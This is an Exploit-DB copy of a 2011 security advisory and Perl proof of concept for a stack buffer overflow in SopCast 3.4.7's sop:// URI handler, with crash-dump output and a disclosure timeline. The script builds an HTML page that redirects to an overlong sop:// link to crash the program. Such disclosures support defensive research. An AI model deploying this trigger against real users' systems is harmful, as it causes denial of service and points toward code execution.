SopCast 3.4.7 – ‘sop://’ URI Handling Remote Stack Buffer Overflow (PoC)

  • 作者: LiquidWorm
    日期: 2011-12-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18200/
  • #!/usr/bin/perl
    #
    #
    # SopCast 3.4.7 sop:// URI Handling Remote Stack Buffer Overflow PoC
    #
    #
    # Vendor: SopCast.com
    # Product web page: http://www.sopcast.com
    # Affected version: 3.4.7.45585
    #
    # Summary: SopCast is a simple, free way to broadcast video and audio or watch
    # the video and listen to radio on the Internet. Adopting P2P(Peer-to-Peer)
    # technology, It is very efficient and easy to use. SoP is the abbreviation for
    # Streaming over P2P. Sopcast is a Streaming Direct Broadcasting System based
    # on P2P. The core is the communication protocol produced by Sopcast Team, which
    # is named sop://, or SoP technology.
    #
    # Desc: SopCast suffers from a stack-based buffer overflow vulnerability when
    # parsing the user input using the SoP protocol in sopocx.ocx module allowing
    # the attacker to gain system access and execute arbitrary code on the affected
    # machine. The issue is triggered when adding 514 bytes of string to the sop://
    # protocol (GET), causing the app to open the link (channel) and crashing. The
    # application will crash even with 'sop://[anything]' because it fails to properly
    # sanitize and handle the uri segment, but with exactly 514 bytes the stack gets
    # overflowed, poping out the Buffer Overrun error box. Unsuccessful atempts causes
    # denial of service scenario. You can also edit the '<address>' element in the
    # favorites.xml file as the attack vector.
    #
    #
    # ================================================================================
    #
    # (e50.fcc): Access violation - code c0000005 (first chance)
    # First chance exceptions are reported before any exception handling.
    # This exception may be expected and handled.
    # eax=01092f48 ebx=00f8e8e8 ecx=000000b7 edx=0116a7dc esi=00000001 edi=0104af88
    # eip=100a350f esp=0618febc ebp=0618ffa8 iopl=0 nv up ei pl zr na pe nc
    # cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010246
    # *** WARNING: Unable to verify checksum for C:\PROGRA~1\SopCast\sopocx.ocx
    # *** ERROR: Symbol file could not be found.Defaulted to export symbols for C:\PROGRA~1\SopCast\sopocx.ocx - 
    # sopocx!DllUnregisterServer+0x9217f:
    # 100a350f 0fb606movzx eax,byte ptr [esi] ds:0023:00000001=??
    # ...
    # 0:000> d esp+400
    # 0012ea7818 10 ea 00 73 00 6f 00-70 00 3a 00 2f 00 2f 00....s.o.p.:././.
    # 0012ea8861 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 0012ea9861 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 0012eaa861 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 0012eab861 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 0012eac861 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 0012ead861 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 0012eae861 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # ...
    # 0:008> d edx+1000
    # 00f2f8b061 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 00f2f8c061 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 00f2f8d061 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 00f2f8e061 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 00f2f8f061 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 00f2f90061 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 00f2f91061 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 00f2f92061 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 0:008> d eax+2000
    # 00f320e861 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 00f320f861 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 00f3210861 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 00f3211861 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 00f3212861 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 00f3213861 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 00f3214861 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    # 00f3215861 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00a.a.a.a.a.a.a.a.
    #
    # ================================================================================
    #
    #
    # Tested on: Microsoft Windows XP Professional SP3 (English)
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    # Zero Science Lab - http://www.zeroscience.mk
    #
    #
    # Vendor status:
    #
    # [30.11.2011] Vulnerability discovered.
    # [01.12.2011] Contact with the vendor with sent detailed info.
    # [04.12.2011] No response from the vendor.
    # [05.12.2011] Public security advisory released.
    #
    #
    # Advisory ID: ZSL-2011-5063
    # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5063.php
    #
    #
    # 30.11.2011
    #
    
    use strict;
     
    my $fname = "thricer.html";
    
    print "\n\nooooooooooooooooooooooooooooooooooooooooooooooooo\no"." "x47 ."o\n";
    print "o\tSopCast 3.4.7 URI Handling BoF PoC" . " "x6 . "o\no"." "x47 ."o\no\t\t";
    print "ID: ZSL-2011-5063"." "x15 ."o\no"." "x47 ."o\n";
    print "o\tCopyleft (c) 2011, Zero Science Lab"." "x5 ."o\no"." "x47 ."o\n";
    print "ooooooooooooooooooooooooooooooooooooooooooooooooo\n\n";
    
    my $curiosity = "\n</center>\n</body>\n</html>";
    my $unknown = "<form>\n<input type=\"button\" value=\"Push The Button!\" ";
    my $with = "onclick=\"exploit()\" />" . "\n</form>";
    my $of = "<body bgcolor=\"#002233\">\n<br /><br />\n<center>\n";
    my $fear = "</script>\n</head>\n";
    my $replace = "<html>\n<head>\n<title>".
    "SopCast 3.4.7 sop:// URI Handling Remote Stack Buffer".
    " Overflow PoC</title>\n".
    "<script type=\"text/javascript\">\n";
    my $code = "window.location.href = \"sop://"."A"x514 ."\";\n";
    my $the = "function exploit()\n{\n" . $code . "}\n";
    
    my $payload = $replace.$the.$fear.$of.$unknown.$with.$curiosity;
     
    print "\n\n[*] Creating $fname file...\n";
    open ENOUGH, ">./$fname" || die "\nCan't open $fname: $!";
    print ENOUGH $payload; print "\n"; sleep 1;
    print "\n[.] File successfully scripted!\n\n";
    close ENOUGH;